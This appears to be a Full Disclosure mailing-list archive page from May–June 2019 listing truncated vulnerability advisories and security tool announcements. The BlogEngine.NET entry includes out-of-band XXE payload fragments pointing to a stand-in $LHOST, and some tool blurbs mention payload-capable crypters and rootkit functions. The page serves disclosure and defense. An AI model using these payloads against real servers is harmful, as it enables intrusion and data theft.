vulnerability caused by allowing * within web_accessible_resources. An
attacker can take advantage of this vulnerability and cause significant
harm.

CVE-2019-12880

Tags:
0:03
BlogEngine.Net XXE issues
» ‎ Full Disclosure

Posted by aaron bishop on Jun 24
BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an
Out-of-band XXE attack through syndication.axd and pingback.axd.

*syndication.axd *accepts an external xml as the value for apml through a
request such as:

http://$RHOST/blog/syndication.axd?*apml=http://$LHOST/oob.xml*

*pingback.axd* will parse a POST with an XML body, such as:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd&quot...

Tags:
June 21, 2019
15:49
PC-Doctor Toolbox before 7.3 has an Uncontrolled Search Path Element
» ‎ Full Disclosure

Posted by Micah Wiseley on Jun 21
Full Disclosure

I. VULNERABILITY
-------------------------
Uncontrolled search path element vulnerability in PC-Doctor Toolbox prior
to version 7.3 allows local users to gain privileges and conduct DLL
hijacking attacks via a trojan horse DLL located in an unsecured directory
which has been added to the PATH environment variable.

II. CVE REFERENCE
-------------------------
CVE-2019-12280

III. VENDOR
-------------------------
PC-Doctor, Inc....

Tags:
June 18, 2019
1:27
CVE-2019-12323 / HC10 HC.Server Service 10.14 / Remote Invalid Pointer Write
» ‎ Full Disclosure

Posted by hyp3rlinx on Jun 18
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/HC10-HC.SERVER-10.14-REMOTE-INVALID-POINTER-WRITE.txt
[+] ISR: ApparitionSec

[Vendor]
www.hostingcontroller.com

[Product]
HC10 HC.Server Service 10.14

HC10 is a unified hosting automation control panel for web hosts and Cloud
based service providers to manage both Windows & Linux servers
simultaneously as part...

Tags:
1:27
Microsoft Word (2016) / Deceptive File Reference Vuln
» ‎ Full Disclosure

Posted by hyp3rlinx on Jun 18
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WORD-DECEPTIVE-FILE-REFERENCE.txt
[+] ISR: ApparitionSec
[+] Zero Day Initiative Program

[Vendor]
www.microsoft.com

[Product]
Microsoft Word 2016

[Vulnerability Type]
Deceptive File Reference

[References]
ZDI-CAN-7949

[Security Issue]
When a MS Word ".docx" File contains a hyperlink to...

Tags:
1:27
BlogEngine.NET Directory traversal + RCE
» ‎ Full Disclosure

Posted by aaron bishop on Jun 18
BlogEngine.NET, versions 3.3.7 and earlier, is vulnerable to two separate
Directory Traversal issues that can lead to Remote Code Execution.

CVE-2019-10719 exploits a directory traversal in /api/upload, allowing
users to write files to any location within the web root. This bypasses
the protection added in version 3.3.7 to prevent CVE-2019-6714. A user,
with the ability to add images or files to posts, can upload a malicious
PostView.ascx file...

Tags:
June 14, 2019
12:27
DSA-2019-092: Dell EMC Avamar Security Update for ADMe Web UI Vulnerability
» ‎ Full Disclosure

Posted by secure on Jun 14
DSA-2019-092: Dell EMC Avamar Security Update for ADMe Web UI Vulnerability
Dell EMC Identifier: DSA-2019-092
CVE Identifier: CVE-2019-3737
Severity: High
Severity Rating: CVSS v3 Base Score: 8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

Affected products:
DELL EMC Avamar(r) ADMe Web UI (c) 1.0.50, 1.0.51

Summary:
DELL EMC Avamar(r) Data Migration Enabler (ADMe) Web UI requires security updates to address a local file include(LFI)...

Tags:
12:26
[Project] Open frame to the main.
» ‎ Full Disclosure

Posted by hacksomeheavymetal via Fulldisclosure on Jun 14
Despite of anakata's motives one thing is certain, thanks to him some
people got hooked and started to talk about the security of mainframes.
Since then, few individuals, and before that even fewer, did their best
sharing their knowledge in the field and contributing to the infosec and
mainframe communities. This however was still not enough to close the gap
between mainframes and the rest of the world.

I'm sharing the bits and pieces...

Tags:
12:25
X41 D-Sec GmbH Security Advisory X41-2019-004: Type confusion in Thunderbird
» ‎ Full Disclosure

Posted by X41 D-Sec GmbH Advisories on Jun 14
X41 D-Sec GmbH Security Advisory: X41-2019-004

Type confusion in Thunderbird
=============================
Severity Rating: Medium
Confirmed Affected Versions: All versions affected
Confirmed Patched Versions: Thunderbird ESR 60.7.XXX
Vendor: Thunderbird
Vendor URL: https://www.thunderbird.net/
Vendor Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1555646
Vector: Incoming mail with calendar attachment
Credit: X41 D-SEC GmbH, Luis Merino...

Tags:
12:25
X41 D-Sec GmbH Security Advisory X41-2019-003: Stack-based buffer overflow in Thunderbird
» ‎ Full Disclosure

Posted by X41 D-Sec GmbH Advisories on Jun 14
X41 D-Sec GmbH Security Advisory: X41-2019-003

Stack-based buffer overflow in Thunderbird
==========================================
Severity Rating: High
Confirmed Affected Versions: All versions affected
Confirmed Patched Versions: Thunderbird ESR 60.7.XXX
Vendor: Thunderbird
Vendor URL: https://www.thunderbird.net/
Vendor Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1553808
Vector: Incoming mail with calendar attachment
Credit: X41...

Tags:
12:25
X41 D-Sec GmbH Security Advisory X41-2019-002: Heap-based buffer overflow in Thunderbird
» ‎ Full Disclosure

Posted by X41 D-Sec GmbH Advisories on Jun 14
X41 D-Sec GmbH Security Advisory: X41-2019-002

Heap-based buffer overflow in Thunderbird
=========================================
Severity Rating: High
Confirmed Affected Versions: All versions affected
Confirmed Patched Versions: Thunderbird ESR 60.7.XXX
Vendor: Thunderbird
Vendor URL: https://www.thunderbird.net/
Vendor Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1553820
Vector: Incoming mail with calendar attachment
Credit: X41...

Tags:
12:25
X41 D-Sec GmbH Security Advisory X41-2019-001: Heap-based buffer overflow in Thunderbird
» ‎ Full Disclosure

Posted by X41 D-Sec GmbH Advisories on Jun 14
X41 D-Sec GmbH Security Advisory: X41-2019-001

Heap-based buffer overflow in Thunderbird
=========================================
Severity Rating: High
Confirmed Affected Versions: All versions affected
Confirmed Patched Versions: Thunderbird ESR 60.7.XXX
Vendor: Thunderbird
Vendor URL: https://www.thunderbird.net/
Vendor Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1553814
Vector: Incoming mail with calendar attachment
Credit: X41...

Tags:
2:59
[SE-2019-01] Java Card vulnerabilities (post shutdown release)
» ‎ Full Disclosure

Posted by Adam Gowdiak on Jun 14
Hello All,

Original reports that were submitted to Oracle and Gemalto have been
posted to Security Explorations website:

http://www.security-explorations.com/javacard_details.html

This should help all interested parties to proceed with an independent
evaluation of the issues, but also judge Oracle and Gemalto stance with
respect to them.

Thank you.

Best Regards,
adam gowdiak

Tags:
June 12, 2019
23:01
SEC Consult SA-20190612-0 :: Multiple vulnerabilities in WAGO 852 Industrial Managed Switch Series
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Jun 12
SEC Consult Vulnerability Lab Security Advisory < 20190612-0 >
=======================================================================
title: Multiple vulnerabilities
product: WAGO 852 Industrial Managed Switch Series
vulnerable version: 852-303: <v1.2.2.S0
852-1305: <v1.1.6.S0
852-1505: <v1.1.5.S0
fixed version: 852-303: v1.2.2.S0...

Tags:
June 11, 2019
10:14
Disclosing a security vulnerability
» ‎ Full Disclosure

Posted by raki ben hamouda on Jun 11
Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Restore Configuration)

Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the
D-Link DWL-2600AP.

Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:
=======================...

Tags:
10:13
The Return of the WIZard: RCE in Exim (CVE-2019-10149)
» ‎ Full Disclosure

Posted by Qualys Security Advisory on Jun 11
Qualys Security Advisory

The Return of the WIZard: RCE in Exim (CVE-2019-10149)

========================================================================
Contents
========================================================================

Summary
Local exploitation
Remote exploitation
- Non-default configurations
- Default configuration
Acknowledgments
Timeline

Boromir: "What is this new devilry?"
Gandalf: "A Balrog. A...

Tags:
10:13
APPLE-SA-2019-5-30-1 AirPort Base Station Firmware Update 7.9.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jun 11
APPLE-SA-2019-5-30-1 AirPort Base Station Firmware Update 7.9.1

AirPort Base Station Firmware Update 7.9.1 is now available and
addresses the following:

AirPort Base Station Firmware
Available for: AirPort Extreme and AirPort Time Capsule base stations
with 802.11ac
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8581: Lucio Albornoz

AirPort Base...

Tags:
10:13
New Version of Hyperion (PE runtime encrypter) released.
» ‎ Full Disclosure

Posted by Levon Kayan on Jun 11

Hi,

We've just released version 2.0 of our PE crypter, hyperion.

[ CHANGELOG ]

- Support for 64bit was added

- C++ has been replaced by a more clean C implementation

- More modular concept allows extensions with custom payloads

[ DESCR ]

Hyperion is a runtime encrypter for 32- and 64-bit portable executables. It is
a reference implementation and bases on the paper "Hyperion:
Implementation of a PE-Crypter"

[ LINKS ]...

Tags:
10:07
[SYSS-2019-015]: Logitech R700 Laser Presentation Remote - Keystroke Injection Vulnerability
» ‎ Full Disclosure

Posted by Matthias Deeg on Jun 11
Advisory ID: SYSS-2019-015
Product: R700 Laser Presentation Remote
Manufacturer: Logitech
Affected Version(s): Model R-R0010 (PID WD904XM and PID WD802XM)
Tested Version(s): Model R-R0010 (PID WD904XM and PID WD802XM)
Vulnerability Type: Insufficient Verification of Data Authenticity (CWE-345)
Keystroke Injection Vulnerability
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-04-12
Solution Date: -
Public...

Tags:
10:07
[SYSS-2019-008]: Inateck 2.4 GHz Wearable Wireless Presenter WP2002 - Keystroke Injection Vulnerability
» ‎ Full Disclosure

Posted by Matthias Deeg on Jun 11
Advisory ID: SYSS-2019-008
Product: 2.4 GHz Wearable Wireless Presenter WP2002
Manufacturer: Inateck
Affected Version(s): n/a
Tested Version(s): n/a
Vulnerability Type: Insufficient Verification of Data Authenticity (CWE-345)
Keystroke Injection Vulnerability
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-03-22
Solution Date: -
Public Disclosure: 2019-06-04
CVE Reference: CVE-2019-12504
Author of...

Tags:
10:07
[SYSS-2019-007]: Inateck 2.4 GHz Wireless Presenter WP1001 - Keystroke Injection Vulnerability
» ‎ Full Disclosure

Posted by Matthias Deeg on Jun 11
Advisory ID: SYSS-2019-007
Product: 2.4 GHz Wireless Presenter WP1001
Manufacturer: Inateck
Affected Version(s): Rev. v1.3C
Tested Version(s): Rev. v1.3C
Vulnerability Type: Insufficient Verification of Data Authenticity (CWE-345)
Keystroke Injection Vulnerability
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-03-22
Solution Date: -
Public Disclosure: 2019-06-04
CVE Reference: CVE-2019-12505
Author of...

Tags:
10:06
Goby 1.0 Released!
» ‎ Full Disclosure

Posted by goby goby on Jun 11
The Goby is a new network security tool for cybersecurity asset management.
After nearly six months of development, version 1.0 is being released to
the public.

Goby's main objective is to scan cybersecurity assets and vulnerabilities
with shortest time and minimum packets, which is first analyzing the target
network IT assets to build the assets knowledge database.

Some highlights in this release:
- More than 3000+ assets rules (IoT...

Tags:
10:06
Rapid7’s Windows InsightIDR Agent: Local Privilege Escalation
» ‎ Full Disclosure

Posted by Florian Bogner on Jun 11
Local Privilege Escalation in Rapid7’s Windows Insight IDR Agent

Metadata
===================================================
Release Date: 03-Jun-2019
Author: Florian Bogner @ https://bee-itsecurity.at
Affected product: Rapid7’s Insight Agent v2.6.3.14 and earlier for Windows
Fixed in: version 2.6.5
Tested on: Windows 10 x64 fully patched
CVE: CVE-2019-5629
URL:...

Tags:
10:05
Multiple Cross-site Scripting Vulnerabilities in Shopware 5.5.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jun 11
Hello,

We are informing you about the vulnerabilities we reported in Shopware
5.5.6.

*Information: *
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Shopware
Affected Software: Shopware
Affected Versions: 5.5.6
Homepage: https://en.shopware.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-004...

Tags:
10:05
[ Tool ] Linux kernel module generator for custom rules with Netfilter hooking.
» ‎ Full Disclosure

Posted by Antonio Costa on Jun 11
HiddenWall is a Linux kernel module generator for custom rules with
netfilter. (block ports, Hidden mode, rootkit functions etc). The
motivation: on bad situation, attacker can put your iptables/ufw to fall...
but if you have HiddenWall, the attacker will not find the hidden kernel
module that block external access, because have a hook to netfilter on
kernel land(think like a second layer for firewall).

https://github.com/CoolerVoid/HiddenWall

Tags:
10:05
[CVE-2019-12789] Telus Actiontec T2200H Local Privilege Escalation
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded)
Model: T2200H
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf

Reported: Sept 2018
CVE: CVE-2019-12789

The Telus Actiontec T2200H is bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11bgn wireless, etc.

###...

Tags:
10:05
Telus Actiontec WEB6000Q Serial Number Information Disclosure
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded, but may work on others)
Model: WEB6000Q
Affected Firmware: 1.1.02.22

Reported: Sept 2018
CVE: Not needed since update is pushed by the provider.

### Summary of Findings

The wireless extenders use DHCP Option 125 to include device details
such as model number, manufacturer, and serial number.

The WCB6000Q DHCP DISCOVER and REQUEST...

Tags:
10:05
Telus Actiontec T2200H Serial Number Information Disclosure
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf

Reported: Sept 2018
CVE: Not needed since update is pushed by the provider.

The Telus Actiontec T2200H is bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11agn wireless,...

Tags:
10:05
Telus Actiontec WEB6000Q Denial of Service of Management Interface
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded)
Model: WEB6000Q
Affected Firmware: 1.1.02.22

Reported: July 2018
CVE: Not needed since update is pushed by the provider.

### Summary of Findings
By querying CGI endpoints with empty (GET/POST/HEAD) requests causes a
Segmentation Fault of the uhttpd webserver. Since there is no watchdog
on this daemon, a device reboot is needed to restart the...

Tags:
10:05
[CVE-2018-15557] Telus Actiontec WEB6000Q Remote Privilege Escalation
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded)
Model: WEB6000Q
Affected Firmware: 1.1.02.22

Reported: July 2018
CVE: CVE-2018-15557

### Summary of Findings

Two instances of Linux run on the WEB6000Q. One is the “main” instance
that runs the web management server, TR-069 daemon, etc., while the
other is the "quantenna" management OS used to manage the wireless.

By...

Tags:
10:05
[CVE-2018-15555 / 15556] Telus Actiontec WEB6000Q Local Privilege Escalation
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded)
Model: WEB6000Q
Affected Firmware: 1.1.02.22

Reported: July 2018
CVE: CVE-2018-15555 (Main OS)
CVE: CVE-2018-15556 (Quantenna OS)

### Summary of Findings

Both “main” and “quantenna” have a UART header on the motherboard and
each of them provide full shell + bootloader access.

While the main OS has the credentials user: root pass:...

Tags:
10:05
Telus Actiontec T2200H WiFi Credential Disclosure
» ‎ Full Disclosure

Posted by Andrew Klaus on Jun 11
### Device Details
Discovered By: Andrew Klaus (andrew () aklaus ca)
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H (but very likely affecting other models of theirs)
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf

Reported: July 2018
CVE: Not needed since update is pushed by the vendor.

The Telus Actiontec T2200H is bonded VDSL2...

Tags:
May 29, 2019
19:04
Anviz M3 RFID Access Control security issues
» ‎ Full Disclosure

Posted by Marco on May 29
Security issues have been found in the Anviz M3 RFID Access Control
device when working in standalone mode connected to a TCP/IP network,
that could lead to access control bypass and private informations
leakage and alteration.

### Advisory information

TITLE: Anviz M3 RFID Access Control security issues
ADVISORY URL: https://github.com/wizlab-it/anviz-m3-rfid-cve-2019-11523-poc/
DATE PUBLISHED: 2019/05/22
AFFECTED VENDORS: Anviz
AFFECTED...

Tags:
19:04
XSS in SSI printenv command – Apache Tomcat – CVE-2019-0221
» ‎ Full Disclosure

Posted by Nightwatch Cybersecurity Research on May 29
[Original blog post here:
https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/]

SUMMARY

Apache Tomcat had a vulnerability in its SSI implementation which
could be used to achieve cross site scripting (XSS). This is only
exploitable if SSI is enabled and the “printenv” directive is used
which is unlikely in a production system.

The vendor has rated this as a Low severity issue. A fix...

Tags:
19:03
APPLE-SA-2019-5-28-1 iTunes for Windows 12.9.5
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 29
APPLE-SA-2019-5-28-1 iTunes for Windows 12.9.5

iTunes for Windows 12.9.5 is now available and addresses the
following:

SQLite
Available for: Windows 7 and later
Impact: An application may be able to gain elevated privileges
Description: An input validation issue was addressed with improved
memory handling.
CVE-2019-8577: Omer Gull of Checkpoint Research

SQLite
Available for: Windows 7 and later
Impact: A maliciously crafted SQL query may lead...

Tags:
19:03
APPLE-SA-2019-5-28-2 iCloud for Windows 7.12
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 29
APPLE-SA-2019-5-28-2 iCloud for Windows 7.12

iCloud for Windows 7.12 is now available and addresses the following:

SQLite
Available for: Windows 7 and later
Impact: An application may be able to gain elevated privileges
Description: An input validation issue was addressed with improved
memory handling.
CVE-2019-8577: Omer Gull of Checkpoint Research

SQLite
Available for: Windows 7 and later
Impact: A maliciously crafted SQL query may lead to...

Tags:
19:03
Local Privilege Escalation via Serv-U FTP Server
» ‎ Full Disclosure

Posted by Chris on May 29
Issue: Local Privilege Escalation
CVE: CVE-2018-19999
Security researcher: Chris Moberly @ The Missing Link Security
Product name: Serv-U FTP Server
Product version: Tested on 15.1.6.25 (current as of Dec 2018)
Fixed in: 15.1.7

# Overview
The Serv-U FTP Server is vulnerable to authentication bypass leading to
privilege escalation in Windows operating environments due to broken...

Tags:
18:54
[SYSS-2019-014]: Siemens LOGO! 8 - Storing Passwords in a Recoverable Format (CWE-257)
» ‎ Full Disclosure

Posted by Matthias Deeg on May 29
Advisory ID: SYSS-2019-014
Product: LOGO!
Manufacturer: Siemens
Affected Version(s): LOGO! 8 (all versions)
Tested Version(s): LOGO! 8, 6ED1052-2MD00-0BA8 FS:03, 0BA8.Standard V1.08.03
Vulnerability Type: Storing Passwords in a Recoverable Format (CWE-257)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2019-04-04
Solution Date: 2019-05-14 (recommended mitigation by manufacturer)
Public Disclosure: 2019-05-29
CVE Reference:...

Tags:
18:54
[SYSS-2019-013]: Siemens LOGO! 8 - Missing Authentication for Critical Function (CWE-306)
» ‎ Full Disclosure

Posted by Matthias Deeg on May 29
Advisory ID: SYSS-2020-013
Product: LOGO!
Manufacturer: Siemens
Affected Version(s): LOGO! 8 (all versions)
Tested Version(s): LOGO! 8, 6ED1052-2MD00-0BA8 FS:03, 0BA8.Standard V1.08.03
Vulnerability Type: Missing Authentication for Critical Function (CWE-306)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-04-04
Solution Date: 2019-05-14 (recommended mitigation by manufacturer)
Public Disclosure: 2019-05-29
CVE Reference:...

Tags:
18:54
[SYSS-2019-012]: Siemens LOGO! 8 - Use of Hard-coded Cryptographic Key (CWE-321)
» ‎ Full Disclosure

Posted by Matthias Deeg on May 29
Advisory ID: SYSS-2019-012
Product: LOGO!
Manufacturer: Siemens
Affected Version(s): LOGO! 8 (all versions)
Tested Version(s): LOGO! 8, 6ED1052-2MD00-0BA8 FS:03, 0BA8.Standard V1.08.03
Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-04-04
Solution Date: 2019-05-14 (recommended mitigation by manufacturer)
Public Disclosure: 2019-05-29
CVE Reference:...

Tags:
18:54
CA20190523-01: Security Notice for CA Risk Authentication and CA Strong Authentication
» ‎ Full Disclosure

Posted by Kevin Kotas via Fulldisclosure on May 29
CA20190523-01: Security Notice for CA Risk Authentication and CA
Strong Authentication

Issued: May 23, 2019
Last Updated: May 23, 2019

The Support team for CA Technologies, A Broadcom Company, is alerting
customers to multiple potential risks with CA Risk Authentication and
CA Strong Authentication. Multiple vulnerabilities exist that can
allow a remote attacker to gain additional access in certain
configurations or possibly gain sensitive...

Tags:
18:49
Cross-site Scripting Vulnerabilities in VFront 0.99.5
» ‎ Full Disclosure

Posted by Daniel Bishtawi on May 29
Hello,

We are informing you about the vulnerabilities we reported in VFront 0.99.5.

Here are the details:

Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting in VFront 0.99.5
Affected Software: VFront
Affected Versions: 0.99.5
Homepage: http://www.vfront.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2019-9839
CVSS Score (3.0): 7.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N...

Tags:
18:48
Reflected Cross-site Scripting Vulnerability in Kanboard 1.2.7
» ‎ Full Disclosure

Posted by Daniel Bishtawi on May 29
Hello,

We are informing you about the vulnerabilities we reported in Kanboard
1.2.7.

Here are the details:

Advisory by Netsparker
Name: Reflected Cross-site Scripting in Kanboard
Affected Software: Kanboard
Affected Versions: 1.2.7
Homepage: https://kanboard.org/
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2019-7324
CVSS Score (3.0): VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference:...

Tags:
May 24, 2019
10:23
[CVE-2019-11604] Quest KACE Systems Management Appliance
» ‎ Full Disclosure

Posted by RCE Security on May 24
RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product: Quest KACE Systems Management Appliance
Vendor URL: www.quest.com
Type: Cross-Site Scripting [CWE-79]
Date found: 2018-09-09
Date published: 2019-05-19
CVSSv3 Score: 4.7 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N)
CVE: CVE-2019-11604

2. CREDITS
==========
This vulnerability was discovered and...

Tags:
10:22
Exploring the File System via Jenkins Credentials Plugin Vulnerability – CVE-2019-10320
» ‎ Full Disclosure

Posted by Nightwatch Cybersecurity Research on May 24
[Original blog post here:
https://wwws.nightwatchcybersecurity.com/2019/05/23/exploring-the-file-system-via-jenkins-credentials-plugin-vulnerability-cve-2019-10320/]

SUMMARY

The recently fixed vulnerability in the Jenkins Credentials plugin
(v2.1.19) allowed users with certain permissions to confirm existence
of a file on the server’s file system. While this doesn’t allow an
attacker to view the file content, the ability to obtain...

Tags:
10:21
[REVIVE-SA-2019-002] Revive Adserver Vulnerability
» ‎ Full Disclosure

Posted by Matteo Beccati via Fulldisclosure on May 24
========================================================================
Revive Adserver Security Advisory REVIVE-SA-2019-002
------------------------------------------------------------------------
https://www.revive-adserver.com/security/revive-sa-2019-002
------------------------------------------------------------------------
CVE-IDs: t.b.a.
Date: 2019-05-21
Risk Level: High...

Tags:
10:20
New BlackArch Linux ISOs + OVA Image (2019.06.01) with 2200 Tools released
» ‎ Full Disclosure

Posted by Black Arch on May 24
Dear list,

We've released the new BlackArch Linux ISOs and OVA image (version:
2019.06.01) along with many many improvements. They include more than
2190 tools now. The armv6h, armv7h and aarch64 repositories are filled
with about 2100 tools.

A ChangeLog of the Live-ISO-2019.06.01:

- added more than 150 new tools
- added 'jedi-vim' plugin
- updated vim plugins
- included every tool of BlackArch except:...

Tags:
10:20
CMS Made Simple 2.2.10 - (Authenticated) Persistent Cross-Site Scripting
» ‎ Full Disclosure

Posted by Manuel Garcia Cardenas on May 24
=============================================
MGC ALERT 2019-002
- Original release date: April 10, 2019
- Last revised: May 22, 2019
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
- CVE-ID: CVE-2019-11226
=============================================

I. VULNERABILITY
-------------------------
CMS Made Simple 2.2.10 - (Authenticated) Persistent Cross-Site Scripting

II. BACKGROUND
-------------------------
CMS Made...

Tags:
May 21, 2019
10:13
Emerson Network Power Cross Site Scripting(XSS) Vulnerability
» ‎ Full Disclosure

Posted by Kubilay Onur Gungor on May 21
I. VULNERABILITY
-------------------------
httpGetSet/httpGet.htm on
Emerson Network Power Liebert Challenger 5.1E0.5 devices allows XSS via the statusstr parameter.

II. CVE REFERENCE
-------------------------
CVE-2019-12167

III. VENDOR
-------------------------
Emerson Network Power

IV. TIMELINE
-------------------------
13/05/2019 Vulnerability discovered

V. CREDIT
-------------------------
Kubilay Onur Gungor from Cyber Struggle

VI....

Tags:
10:11
Blackhole for Bad Bots WordPress Plugin 2.5 - Detection Bypass
» ‎ Full Disclosure

Posted by gionreale on May 21
Blackhole for Bad Bots protects your site against bad bots, spammers, scrapers, scanners, and other automated threats.

Version 2.5 fails to avoid fingerprinting by including predictable data within the "blackhole_trigger" . Giving
attackers the ability to detect and avoid this system.

Discovered by Gionathan Armando Reale

Tags:
10:11
Epic Web Honeypot 2.0a - Fingerprinting Vulnerability
» ‎ Full Disclosure

Posted by gionreale on May 21
The Epic Web Honeypot Project aims to lure attackers using various types of web vulnerability scanners by tricking them
into believing that they have found a vulnerability on a host.

Version 2.0a fails to avoid fingerprinting by including predictable data and size within index.html(the main file).
Giving attackers the ability to detect and avoid this system.

Discovered by Gionathan Armando Reale

Tags:
10:11
Re: GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability
» ‎ Full Disclosure

Posted by gionreale on May 21
CVE-2019-12163.

Tags:
May 17, 2019
9:47
local privilege escalation via CDE dtprintinfo
» ‎ Full Disclosure

Posted by Marco Ivaldi on May 17
Dear Full Disclosure,

Please find attached an advisory for the following vulnerability:

A buffer overflow in the DtPrinterAction::PrintActionExists() function in the
Common Desktop Environment 2.3.0 and earlier, as used in Oracle Solaris 10 1/13
(Update 11) and earlier, allows local users to gain root privileges via a long
printer name passed to dtprintinfo by a malicious lpstat program.

Note that Oracle Solaris CDE is based on the original...

Tags:
9:47
[CVE-2019-11880] CommSy
» ‎ Full Disclosure

Posted by Jens Regel | Schneider & Wulf on May 17
Title:
======
CommSy <= 8.6.5 - SQL injection

Researcher:
===========
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2019-11880

Timeline:
=========
2019-04-15 Vulnerability discovered
2019-04-15 Asked for security contact and PGP key
2019-04-16 Send details to the vendor
2019-05-07 Flaw was approved but will not be fixed in branch 8.6
2019-05-15 Public disclosure

Affected Products:
==================...

Tags:
9:46
GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability
» ‎ Full Disclosure

Posted by gionreale on May 17
GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability

It is possible in versions 1.30 and below for unauthenticated attackers to query the GAT-Ship Web Module for system
information via a crafted request:

PoC:
---------------------------------------------------------------------------------------------------------------------------------------

POST /ws/gatshipWs.asmx/SqlVersion <...

Tags:
0:37
[RT-SA-2019-002] Directory Traversal in Cisco Expressway Gateway
» ‎ Full Disclosure

Posted by RedTeam Pentesting GmbH on May 17
Advisory: Directory Traversal in Cisco Expressway Gateway

RedTeam Pentesting discovered a directory traversal vulnerability in
Cisco Expressway which enables access to administrative web interfaces.

Details
=======

Product: Cisco Expressway Gateway
Affected Versions: 11.5.1, possibly others
Fixed Versions: See Cisco Bug ID CSCvo47769 [1]
Vulnerability Type: Directory Traversal
Security Risk: medium
Vendor URL:...

Tags:
May 15, 2019
1:30
SEC Consult SA-20190515-0 :: Authorization Bypass in RSA NetWitness (@sec_consult)
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on May 15
SEC Consult Vulnerability Lab Security Advisory < 20190515-0 >
=======================================================================
title: Authorization Bypass
product: RSA NetWitness
vulnerable version: <10.6.6.1, <11.2.1.1
fixed version: 10.6.6.1, 11.2.1.1
CVE number: CVE-2019-3724
impact: Medium
homepage: https://www.rsa.com
found: 2018-09-18...

Tags:
May 14, 2019
11:12
[CVE-2018-7841] Schneider Electric U.Motion Builder
» ‎ Full Disclosure

Posted by RCE Security on May 14
RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product: Schneider Electric U.Motion Builder
Vendor URL: www.schneider-electric.com
Type: OS Command Injection [CWE-78]
Date found: 2018-11-15
Date published: 2019-05-13
CVSSv3 Score: 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE: CVE-2018-7841

2. CREDITS
==========
This vulnerability was discovered...

Tags:
May 13, 2019
11:20
